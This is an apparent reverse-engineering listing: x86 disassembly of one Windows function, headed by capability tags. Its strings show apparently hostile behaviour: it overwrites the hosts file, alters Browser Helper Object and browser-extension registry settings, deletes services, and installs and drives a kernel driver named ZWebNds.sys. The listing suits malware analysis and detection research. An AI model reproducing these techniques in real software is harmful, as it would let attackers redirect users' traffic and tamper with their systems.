Function at 0x40e3b0
Capabilities:
Check mutex on windows
Delete file
Move file
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x41f284]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x328], 0
push 0x31f
push 0
lea eax, [ebp - 0x327]
push eax
call fcn.00414c40
add esp, 0xc
call fcn.004024e0
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
call fcn.00403490
test eax, eax
je 0x40e409
push 0x41d4b2
call fcn.0040e350
add esp, 4
xor eax, eax
jmp 0x40e980
call fcn.00402df0
mov ecx, 1
test ecx, ecx
je 0x40e46d
push str.XMUTEX_DDSFX
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x40e46b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x40e469
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov eax, dword [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40e40e
jmp 0x40e46d
jmp 0x40e40e
mov ecx, dword [str.c:_windows_ax01.da0]
push ecx
push str.C:_Windows_System32_drivers_etc_hosts
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
mov edx, dword [str.c:_windows_ax01.da0]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov dword [ebp - 0x354], str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects_
mov dword [ebp - 0x350], str.SoftwareMicrosoftWindowsCurrentVersionExtStats_
mov dword [ebp - 0x34c], str.SoftwareMicrosoftWindowsCurrentVersionExtSettings_
push str.A09A01FF_1DBC_400C_8132_54FA4DBE4E96_524F94CD_71CB_4CCD_81B1_58F4F6F51BFF_F5BEB39C_8841_453d_BFBF_843BC2BFA72A_F1B6ABAA_8BD5_4c79_AC43_36D48FF59329_01B6ABAA_8BD5_4c79_AC43_36D48FF59329_2E86C789_7022_4e05_9DB7_A29B805268C2
call fcn.00401770
add esp, 4
mov dword [ebp - 0x348], eax
push 0x41d734
mov eax, dword [ebp - 0x348]
push eax
call fcn.00401b00
add esp, 8
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x358], 0
jmp 0x40e4f2
mov ecx, dword [ebp - 0x358]
add ecx, 1
mov dword [ebp - 0x358], ecx
mov edx, dword [ebp - 0x344]
mov eax, dword [ebp - 0x358]
cmp eax, dword [edx]
jge 0x40e655
mov ecx, dword [ebp - 0x358]
imul ecx, ecx, 0xc
mov edx, dword [ebp - 0x344]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + ecx + 8]
push ecx
mov edx, dword [ebp - 0x354]
push edx
push 0x41d824
call fcn.004017d0
add esp, 0xc
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x35c]
mov ecx, dword [eax + 8]
push ecx
push 0x80000002
call fcn.00402c50
add esp, 8
test eax, eax
je 0x40e650
mov edx, dword [ebp - 0x358]
imul edx, edx, 0xc
mov eax, dword [ebp - 0x344]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + edx + 8]
push edx
mov eax, dword [ebp - 0x34c]
push eax
push 0x41d82c
call fcn.004017d0
add esp, 0xc
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x368]
mov edx, dword [ecx + 8]
push edx
push 0x80000001
call fcn.00402c90
add esp, 8
mov dword [ebp - 0x364], 1
push 4
lea eax, [ebp - 0x364]
push eax
push 4
push str.Flags
mov ecx, dword [ebp - 0x368]
mov edx, dword [ecx + 8]
push edx
push 0x80000001
call fcn.00402cd0
add esp, 0x18
mov dword [ebp - 0x360], 0x41d83c
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x3e8], eax
mov ecx, dword [ebp - 0x3e8]
add ecx, 1
mov dword [ebp - 0x3ec], ecx
mov edx, dword [ebp - 0x3e8]
mov al, byte [edx]
mov byte [ebp - 0x3ed], al
add dword [ebp - 0x3e8], 1
cmp byte [ebp - 0x3ed], 0
jne 0x40e5f4
mov ecx, dword [ebp - 0x3e8]
sub ecx, dword [ebp - 0x3ec]
mov dword [ebp - 0x3f4], ecx
mov edx, dword [ebp - 0x3f4]
push edx
mov eax, dword [ebp - 0x360]
push eax
push 1
push str.Version
mov ecx, dword [ebp - 0x368]
mov edx, dword [ecx + 8]
push edx
push 0x80000001
call fcn.00402cd0
add esp, 0x18
jmp 0x40e4e3
mov dword [ebp - 0x330], str.ZWebNds
mov dword [ebp - 0x33c], str..ZWebNds
mov dword [ebp - 0x338], str.SYSTEMCurrentControlSet_servicesZWebNds
mov dword [ebp - 0x340], str.SYSTEMCurrentControlSet_servicesZNdisWeb
mov dword [ebp - 0x334], str.SYSTEMCurrentControlSet_servicesWebNdis
push str.ndisweb.log
call fcn.004022e0
add esp, 4
call fcn.00402570
mov eax, dword [ebp - 0x338]
push eax
push 0x80000002
call fcn.00402c50
add esp, 8
test eax, eax
je 0x40e6dd
mov ecx, dword [ebp - 0x338]
push ecx
push 0x80000002
call fcn.00402d40
add esp, 8
push 0x41d8ec
call fcn.004023c0
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edx, dword [ebp - 0x340]
push edx
push 0x80000002
call fcn.00402c50
add esp, 8
test eax, eax
je 0x40e764
mov dword [ebp - 0x36c], 0
jmp 0x40e710
mov eax, dword [ebp - 0x36c]
add eax, 1
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0xb4
jge 0x40e73c
push str.ZNdisWeb
call fcn.00402630
add esp, 4
test eax, eax
je 0x40e72f
jmp 0x40e73c
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40e701
mov ecx, dword [ebp - 0x340]
push ecx
push 0x80000002
call fcn.00402d40
add esp, 8
cmp dword [ebp - 0x36c], 0xb4
jne 0x40e764
or eax, 0xffffffff
jmp 0x40e980
mov edx, dword [ebp - 0x334]
push edx
push 0x80000002
call fcn.00402c50
add esp, 8
test eax, eax
je 0x40e7f0
mov dword [ebp - 0x370], 0
jmp 0x40e797
mov eax, dword [ebp - 0x370]
add eax, 1
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0xb4
jge 0x40e7c3
push str.WebNdis
call fcn.00402630
add esp, 4
test eax, eax
je 0x40e7b6
jmp 0x40e7c3
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40e788
mov ecx, dword [ebp - 0x334]
push ecx
push 0x80000002
call fcn.00402d40
add esp, 8
cmp dword [ebp - 0x370], 0xb4
jne 0x40e7f0
push 0x41d928
call fcn.004023c0
add esp, 4
push 0x41d4b3
call fcn.0040e350
add esp, 4
lea edx, [ebp - 0x328]
push edx
push 5
push 0x420c20
call fcn.0040e2e0
add esp, 0xc
test eax, eax
je 0x40e83a
lea eax, [ebp - 0x328]
push eax
push 0x41d940
call fcn.00402340
add esp, 8
call fcn.00402930
mov eax, 0xfffffffe
jmp 0x40e980
push 1
push 2
push str.DRVDIRZWebNds.sys
push str.driver_for_...
mov ecx, dword [ebp - 0x330]
push ecx
call fcn.004026f0
add esp, 0x14
test eax, eax
jne 0x40e928
mov dword [ebp - 0x378], str.sdf_DDSFxx_dsdf
mov byte [ebp - 0x3e0], 0
push 0x63
push 0
lea edx, [ebp - 0x3df]
push edx
call fcn.00414c40
add esp, 0xc
mov dword [ebp - 0x374], 0x64
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x3f8], eax
mov ecx, dword [ebp - 0x3f8]
add ecx, 1
mov dword [ebp - 0x3fc], ecx
mov edx, dword [ebp - 0x3f8]
mov al, byte [edx]
mov byte [ebp - 0x3fd], al
add dword [ebp - 0x3f8], 1
cmp byte [ebp - 0x3fd], 0
jne 0x40e8a8
mov ecx, dword [ebp - 0x3f8]
sub ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x404], ecx
lea edx, [ebp - 0x374]
push edx
push 0x64
lea eax, [ebp - 0x3e0]
push eax
mov ecx, dword [ebp - 0x404]
push ecx
mov edx, dword [ebp - 0x378]
push edx
push 0x47
mov eax, dword [ebp - 0x33c]
push eax
call fcn.00402880
add esp, 0x1c
mov dword [ebp - 0x3e4], eax
lea ecx, [ebp - 0x3e0]
push ecx
mov edx, dword [ebp - 0x3e4]
push edx
push str.XDriverIOControlResult_is__d__s
call fcn.004023c0
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x41d998
call fcn.00402340
add esp, 4
mov eax, dword [ebp - 0x338]
push eax
push 0x80000002
call fcn.00402d40
add esp, 8
push str.DRVDIRZWebNds.sys
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x41d9a8
call fcn.00402340
add esp, 4
push 0x41d9b8
call fcn.00402340
add esp, 4
call fcn.00402930
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e98e
mov esp, ebp
pop ebp
ret